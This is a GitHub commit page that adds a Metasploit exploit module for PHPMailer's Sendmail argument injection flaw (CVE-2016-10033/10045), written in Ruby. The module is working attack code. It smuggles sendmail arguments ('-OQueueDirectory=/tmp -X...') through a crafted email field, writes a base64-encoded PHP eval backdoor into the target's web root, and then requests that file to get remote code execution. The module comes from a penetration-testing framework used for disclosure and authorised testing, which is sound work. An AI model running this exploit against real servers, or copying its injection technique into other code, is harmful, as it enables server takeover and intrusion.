Skip to content

Commit ed74b23

Browse files
committed
Land rapid7#7768, PHPMailer Sendmail Argument Injection exploit
2 parents f25ced0 + 3155af6 commit ed74b23

File tree

1 file changed

+126
-0
lines changed

1 file changed

+126
-0
lines changed
Lines changed: 126 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,126 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = ManualRanking
10+
11+
include Msf::Exploit::FileDropper
12+
include Msf::Exploit::Remote::HttpClient
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'PHPMailer Sendmail Argument Injection',
17+
'Description' => %q{
18+
PHPMailer versions up to and including 5.2.19 are affected by a
19+
vulnerability which can be leveraged by an attacker to write a file with
20+
partially controlled contents to an arbitrary location through injection
21+
of arguments that are passed to the sendmail binary. This module
22+
writes a payload to the web root of the webserver before then executing
23+
it with an HTTP request. The user running PHPMailer must have write
24+
access to the specified WEB_ROOT directory and successful exploitation
25+
can take a few minutes.
26+
},
27+
'Author' => [
28+
'Dawid Golunski', # vulnerability discovery and original PoC
29+
'Spencer McIntyre' # metasploit module
30+
],
31+
'License' => MSF_LICENSE,
32+
'References' => [
33+
['CVE', '2016-10033'],
34+
['CVE', '2016-10045'],
35+
['EDB', '40968'],
36+
['EDB', '40969'],
37+
['URL', 'https://github.com/opsxcq/exploit-CVE-2016-10033'],
38+
['URL', 'https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html']
39+
],
40+
'DisclosureDate' => 'Dec 26 2016',
41+
'Platform' => 'php',
42+
'Arch' => ARCH_PHP,
43+
'Payload' => {'DisableNops' => true},
44+
'Targets' => [
45+
['PHPMailer <5.2.18', {}],
46+
['PHPMailer 5.2.18 - 5.2.19', {}]
47+
],
48+
'DefaultTarget' => 0
49+
))
50+
51+
register_options(
52+
[
53+
OptString.new('TARGETURI', [true, 'Path to the application root', '/']),
54+
OptString.new('TRIGGERURI', [false, 'Path to the uploaded payload', '']),
55+
OptString.new('WEB_ROOT', [true, 'Path to the web root', '/var/www'])
56+
], self.class)
57+
register_advanced_options(
58+
[
59+
OptInt.new('WAIT_TIMEOUT', [true, 'Seconds to wait to trigger the payload', 300])
60+
], self.class)
61+
end
62+
63+
def trigger(trigger_uri)
64+
print_status("Sleeping before requesting the payload from: #{trigger_uri}")
65+
66+
page_found = false
67+
sleep_time = 10
68+
wait_time = datastore['WAIT_TIMEOUT']
69+
print_status("Waiting for up to #{wait_time} seconds to trigger the payload")
70+
while wait_time > 0
71+
sleep(sleep_time)
72+
wait_time -= sleep_time
73+
res = send_request_cgi(
74+
'method' => 'GET',
75+
'uri' => trigger_uri
76+
)
77+
78+
if res.nil?
79+
if page_found or session_created?
80+
print_good('Successfully triggered the payload')
81+
break
82+
end
83+
84+
next
85+
end
86+
87+
next unless res.code == 200
88+
89+
if res.body.length == 0 and not page_found
90+
print_good('Successfully found the payload')
91+
page_found = true
92+
end
93+
end
94+
end
95+
96+
def exploit
97+
payload_file_name = "#{rand_text_alphanumeric(8)}.php"
98+
payload_file_path = "#{datastore['WEB_ROOT']}/#{payload_file_name}"
99+
100+
if target.name == 'PHPMailer <5.2.18'
101+
email = "\"#{rand_text_alphanumeric(4 + rand(8))}\\\" -OQueueDirectory=/tmp -X#{payload_file_path} #{rand_text_alphanumeric(4 + rand(8))}\"@#{rand_text_alphanumeric(4 + rand(8))}.com"
102+
elsif target.name == 'PHPMailer 5.2.18 - 5.2.19'
103+
email = "\"#{rand_text_alphanumeric(4 + rand(8))}\\' -OQueueDirectory=/tmp -X#{payload_file_path} #{rand_text_alphanumeric(4 + rand(8))}\"@#{rand_text_alphanumeric(4 + rand(8))}.com"
104+
else
105+
fail_with(Failure::NoTarget, 'The specified version is not supported')
106+
end
107+
108+
data = Rex::MIME::Message.new
109+
data.add_part('submit', nil, nil, 'form-data; name="action"')
110+
data.add_part("<?php eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}')); ?>", nil, nil, 'form-data; name="name"')
111+
data.add_part(email, nil, nil, 'form-data; name="email"')
112+
data.add_part("#{rand_text_alphanumeric(2 + rand(20))}", nil, nil, 'form-data; name="message"')
113+
114+
print_status("Writing the backdoor to #{payload_file_path}")
115+
res = send_request_cgi(
116+
'method' => 'POST',
117+
'uri' => normalize_uri(target_uri),
118+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
119+
'data' => data.to_s
120+
)
121+
122+
register_files_for_cleanup(payload_file_path)
123+
124+
trigger(normalize_uri(datastore['TRIGGERURI'].blank? ? target_uri : datastore['TRIGGERURI'], payload_file_name))
125+
end
126+
end

0 commit comments

Comments
 (0)